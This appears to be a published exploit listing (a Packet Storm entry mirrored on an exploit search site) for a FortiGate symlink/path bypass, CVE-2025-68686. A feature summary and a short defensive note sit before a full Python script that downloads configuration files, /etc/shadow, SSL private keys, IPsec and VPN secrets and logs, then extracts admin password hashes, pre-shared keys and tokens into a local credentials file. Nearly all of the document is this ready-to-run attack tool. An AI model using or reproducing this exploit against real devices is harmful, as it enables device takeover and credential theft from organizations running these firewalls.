Share
## https://sploitus.com/exploit?id=PACKETSTORM:215597
=============================================================================================================================================
    | # Title     : FortiGate Advanced Symlink Bypass Exploit with Configuration & Credential Extraction                                        |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.3 (64 bits)                                                            |
    | # Vendor    : https://www.fortinet.com/                                                                                                   |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/215520/  & CVE-2025-68686
    
    [+] Summary    : This Python script is an advanced exploitation tool targeting vulnerable FortiGate devices manufactured by Fortinet.
                     It attempts to exploit a symlink/path bypass vulnerability via the /lang//custom/ endpoint in order to access sensitive internal files that should not be publicly accessible.
    
    [+] Key Features:
    
    Tests whether the target device appears vulnerable.
    
    Attempts to download sensitive system and configuration files.
    
    Decompresses .gz configuration files.
    
    Parses configuration content to extract:
    
    Admin usernames and password hashes
    
    VPN user groups
    
    Pre-shared keys (PSKs)
    
    Authentication tokens and secrets
    
    Saves raw files and extracted credentials locally.
    
    [+] Potential Impact:
    
    If successful, the tool can expose:
    
    Administrator credentials
    
    VPN secrets and group memberships
    
    System configuration details
    
    SSL certificates and private keys
    
    Log files containing sensitive operational data
    
    This could allow full administrative compromise of the device and potentially lateral movement inside the internal network.
    
    [+] Risk Level: Critical โ€“ Successful exploitation may result in complete device takeover.
    
    [+] Defensive Note:
    
    Organizations should:
    
    Update FortiOS to the latest version
    
    Restrict SSL VPN access
    
    Monitor logs for suspicious /lang//custom/ requests
    
    Enforce MFA on administrative accounts
    
    [+] POC :
    
    #!/usr/bin/env python3
    
    import requests
    import urllib3
    import argparse
    import sys
    import gzip
    import re
    import base64
    import hashlib
    from pathlib import Path
    import json
    from datetime import datetime
    import os
    import io 
    
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    
    class FortiGateExploiter:
        def __init__(self, target_ip, target_port, output_dir="fortigate_dump"):
            self.target_ip = target_ip
            self.target_port = target_port
            self.output_dir = output_dir
            self.session = requests.Session()
            self.session.verify = False
            self.session.timeout = 15
    
            Path(output_dir).mkdir(exist_ok=True)
    
            self.interesting_paths = [
    
                "/lang//custom/data/config/sys_global.conf.gz",
                "/lang//custom/data/config/system.conf",
                "/lang//custom/data/config/vip.conf",
                "/lang//custom/data/config/vpn.conf",
                "/lang//custom/data/config/firewall.conf",
                "/lang//custom/data/config/router.conf",
                "/lang//custom/data/config/system.conf.gz",
                "/lang//custom/data/etc/passwd",
                "/lang//custom/data/etc/shadow",
                "/lang//custom/data/etc/master.passwd",
                "/lang//custom/data/etc/ssl/private/ssl-cert-snakeoil.key",
                "/lang//custom/data/data/etc/admin_passwd",
                "/lang//custom/data/data/etc/authd.conf",
                "/lang//custom/data/etc/ppp/chap-secrets",
                "/lang//custom/data/etc/ipsec.conf",
                "/lang//custom/data/etc/ipsec.secrets",
                "/lang//custom/data/etc/openvpn/server.conf",
                "/lang//custom/data/var/log/system.log",
                "/lang//custom/data/var/log/auth.log",
                "/lang//custom/data/var/log/vpn.log",
                "/lang//custom/data/cert/ssl/ca_cert",
                "/lang//custom/data/cert/ssl/server_cert",
                "/lang//custom/data/cert/ssl/server_key",
                "/lang//custom/data/version",
                "/lang//custom/data/etc/version",
                "/lang//custom/data/etc/hostname",
                "/lang//custom/data/etc/hosts",
            ]
            
        def test_vulnerability(self):
            """Test if device is vulnerable"""
            test_url = f"https://{self.target_ip}:{self.target_port}/lang//custom/test"
            
            try:
                response = self.session.get(test_url)
                if response.status_code in [200, 404]:
                    print("[+] Target appears VULNERABLE to bypass technique!")
                    return True
                elif response.status_code == 403:
                    print("[-] Target is PATCHED against bypass")
                    return False
                else:
                    print(f"[?] Unknown response code: {response.status_code}")
                    return True  # Assume vulnerable
            except Exception as e:
                print(f"[-] Error testing vulnerability: {e}")
                return False
        
        def download_file(self, path):
            """Download a file from the target"""
            url = f"https://{self.target_ip}:{self.target_port}{path}"
            
            try:
                response = self.session.get(url)
                if response.status_code == 200:
                    if len(response.content) > 100 and not response.content.startswith(b'<!DOCTYPE'):
                        return response.content
                return None
            except Exception as e:
                print(f"[-] Error downloading {path}: {e}")
                return None
        
        def parse_config_gz(self, data):
            """Parse gzipped configuration file - CORRECTED VERSION"""
            try:
                with gzip.open(io.BytesIO(data), 'rt', encoding='utf-8', errors='ignore') as f:
                    return f.read()
            except Exception as e:
                print(f"[-] Error parsing gzip file: {e}")
                return None
        
        def extract_credentials(self, config_text):
            """Extract credentials from configuration"""
            credentials = {
                'users': [],
                'passwords': [],
                'secrets': [],
                'vpn_users': [],
                'admin_users': [],
                'hashes': []
            }
            
            if not config_text:
                return credentials
            password_patterns = [
                (r'password\s+["\']?([^"\'\s]+)["\']?', 'plain'),
                (r'passwd\s+["\']?([^"\'\s]+)["\']?', 'plain'),
                (r'psk\s+["\']?([^"\'\s]+)["\']?', 'psk'),
                (r'secret\s+["\']?([^"\'\s]+)["\']?', 'secret'),
                (r'key\s+["\']?([^"\'\s]+)["\']?', 'key'),
                (r'auth-token\s+["\']?([^"\'\s]+)["\']?', 'token'),
                (r'encrypted\s+password\s+["\']?([^"\'\s]+)["\']?', 'encrypted'),
                (r'set\s+password\s+([A-Fa-f0-9]{32,})', 'md5_hash'),
                (r'sha256\s+([A-Fa-f0-9]{64})', 'sha256_hash'),
            ]
            admin_pattern = r'config user local\s+edit\s+["\']?([^"\'\s]+)["\']?.*?set (?:password|passwd)\s+(?:ENCRYPTED\s+)?([^\s]+)'
            admin_matches = re.findall(admin_pattern, config_text, re.DOTALL | re.IGNORECASE)
            for match in admin_matches:
                credentials['admin_users'].append({
                    'username': match[0],
                    'password_hash': match[1]
                })
    
            vpn_pattern = r'config user group\s+edit\s+["\']?([^"\'\s]+)["\']?.*?set member\s+([^\n]+)'
            vpn_matches = re.findall(vpn_pattern, config_text, re.DOTALL | re.IGNORECASE)
            for match in vpn_matches:
                credentials['vpn_users'].append({
                    'group': match[0],
                    'members': match[1].strip()
                })
    
            for pattern, ptype in password_patterns:
                matches = re.findall(pattern, config_text, re.IGNORECASE)
                for match in matches:
                    if len(match) > 3:  
                        if 'hash' in ptype:
                            credentials['hashes'].append(match)
                        else:
                            credentials['passwords'].append({'value': match, 'type': ptype})
            
            return credentials
        
        def run_exploit(self):
            """Main exploit function"""
            print(f"\n[*] Starting FortiGate exploit against {self.target_ip}:{self.target_port}")
            print(f"[*] Output directory: {self.output_dir}")
            if not self.test_vulnerability():
                response = input("\n[?] Continue anyway? (y/n): ")
                if response.lower() != 'y':
                    return False
            
            downloaded = []
            for path in self.interesting_paths:
                filename = path.split('/')[-1]
                print(f"\n[*] Trying: {path}")
                
                data = self.download_file(path)
                if data:
                    filepath = f"{self.output_dir}/{self.target_ip}_{filename}"
                    with open(filepath, 'wb') as f:
                        f.write(data)
                    
                    print(f"[+] Downloaded: {filename} ({len(data)} bytes)")
                    downloaded.append(filepath)
                    if filename.endswith('.gz'):
                        config_text = self.parse_config_gz(data)
                        if config_text:
                            decomp_path = f"{self.output_dir}/{self.target_ip}_{filename.replace('.gz', '')}"
                            with open(decomp_path, 'w', encoding='utf-8') as f:
                                f.write(config_text)
                            print(f"[+] Decompressed config saved to: {decomp_path}")
    
                            if 'sys_global.conf' in filename or 'system.conf' in filename:
                                creds = self.extract_credentials(config_text)
                                cred_path = f"{self.output_dir}/{self.target_ip}_credentials.txt"
                                with open(cred_path, 'w', encoding='utf-8') as f:
                                    f.write(f"Credentials extracted from {self.target_ip}\n")
                                    f.write(f"Date: {datetime.now().isoformat()}\n")
                                    f.write("=" * 60 + "\n\n")
                                    
                                    if creds['admin_users']:
                                        f.write("ADMIN USERS:\n")
                                        f.write("-" * 40 + "\n")
                                        for user in creds['admin_users']:
                                            f.write(f"  Username: {user['username']}\n")
                                            f.write(f"  Password Hash: {user['password_hash']}\n\n")
                                    
                                    if creds['vpn_users']:
                                        f.write("VPN GROUPS:\n")
                                        f.write("-" * 40 + "\n")
                                        for group in creds['vpn_users']:
                                            f.write(f"  Group: {group['group']}\n")
                                            f.write(f"  Members: {group['members']}\n\n")
                                    
                                    if creds['hashes']:
                                        f.write("CRYPTOGRAPHIC HASHES:\n")
                                        f.write("-" * 40 + "\n")
                                        for h in set(creds['hashes']):
                                            f.write(f"  {h}\n")
                                    
                                    if creds['passwords']:
                                        f.write("POTENTIAL PASSWORDS/KEYS:\n")
                                        f.write("-" * 40 + "\n")
                                        for pwd in creds['passwords'][:30]:  # Show first 30
                                            f.write(f"  [{pwd['type']}] {pwd['value']}\n")
                                
                                print(f"[+] Extracted credentials saved to: {cred_path}")
                                print(f"\n[!] CREDENTIALS SUMMARY:")
                                print(f"    Admin users found: {len(creds['admin_users'])}")
                                print(f"    VPN groups found: {len(creds['vpn_users'])}")
                                print(f"    Hashes found: {len(creds['hashes'])}")
                                print(f"    Passwords/keys found: {len(creds['passwords'])}")
                else:
                    print(f"[-] Failed to download: {filename}")
    
            if downloaded:
                print(f"\n[+] Success! Downloaded {len(downloaded)} files to {self.output_dir}/")
                return True
            else:
                print("\n[-] No files were downloaded. Device might be patched.")
                return False
    
    def main():
        parser = argparse.ArgumentParser(description='Advanced FortiGate Symlink Bypass Exploit (Corrected)')
        parser.add_argument('target', help='Target IP:port')
        parser.add_argument('-o', '--output', default='fortigate_dump', 
                           help='Output directory (default: fortigate_dump)')
        
        args = parser.parse_args()
        
        try:
            if ':' in args.target:
                ip, port = args.target.split(':')
                port = int(port)
            else:
                ip = args.target
                port = 443
        except:
            print("[-] Invalid target format")
            sys.exit(1)
        
        exploit = FortiGateExploiter(ip, port, args.output)
        success = exploit.run_exploit()
        
        if success:
            print(f"\n[+] Exploit completed. Check {args.output}/ for results")
            sys.exit(0)
        else:
            print("\n[-] Exploit failed")
            sys.exit(1)
    
    if __name__ == "__main__":
        main()
    	
    	
    Greetings to :======================================================================
    jericho * Larry W. Cashdollar * r00t * Hussin-X * Malvuln (John Page aka hyp3rlinx)|
    ====================================================================================